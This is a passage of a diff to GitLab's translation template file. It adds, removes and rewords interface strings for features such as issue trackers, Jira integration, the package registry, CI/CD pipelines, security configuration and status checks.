msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
